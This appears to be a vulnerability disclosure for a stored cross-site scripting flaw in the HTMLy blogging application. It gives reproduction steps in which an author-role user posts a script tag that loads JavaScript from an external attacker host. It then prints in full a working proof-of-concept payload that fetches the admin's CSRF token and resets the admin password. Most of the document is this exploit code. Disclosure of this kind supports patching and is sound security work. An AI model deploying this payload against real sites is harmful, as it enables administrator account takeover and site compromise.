Description
- It was found that the application suffers from stored XSS
- Low level user having an "author" role can takeover admin account and change their password via posting a malicious post with a reference to a payload hosted on attacker domain
Stored XSS to Account Takeover
Steps to Reproduce:
- Visit "My Posts" > "Add New Post" > "Regular Post"
- Enter the following payload into the "Content" referencing externally hosted POC in Javascript <script src="http://192.168.159.191:8000/xss.js"></script>
- Upon visiting the blog post, the admin account password would be changed to "test"
- In the XSS payload pasted below need to adjust the "passwordChangeUrl", "username" and "password"
// Javascript POC
// Function to fetch CSRF token and perform password change
(function() {
// URL of the password change page
const passwordChangePageUrl = 'http://192.168.159.191/htmly/edit/password';
// Function to fetch the CSRF token
function fetchCsrfToken() {
fetch(passwordChangePageUrl, {
method: 'GET',
credentials: 'include' // Include cookies for the current session
})
.then(response => response.text())
.then(html => {
// Parse the HTML to find the CSRF token
const parser = new DOMParser();
const doc = parser.parseFromString(html, 'text/html');
const csrfTokenInput = doc.querySelector('input[name="csrf_token"]');
if (csrfTokenInput) {
const csrfToken = csrfTokenInput.value;
console.log('CSRF Token:', csrfToken);
changePassword(csrfToken);
} else {
console.error('CSRF token not found');
}
})
.catch(error => console.error('Error fetching CSRF token:', error));
}
// Function to change the password
function changePassword(csrfToken) {
const postData = new URLSearchParams();
postData.append('csrf_token', csrfToken);
postData.append('username', 'admin');
postData.append('password', 'test');
fetch(passwordChangePageUrl, {
method: 'POST',
body: postData,
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include' // Include cookies for the current session
})
.then(response => response.text())
.then(data => {
console.log('Password change response:', data);
})
.catch(error => console.error('Error changing password:', error));
}
// Trigger the CSRF token fetch and password change
fetchCsrfToken();
})();
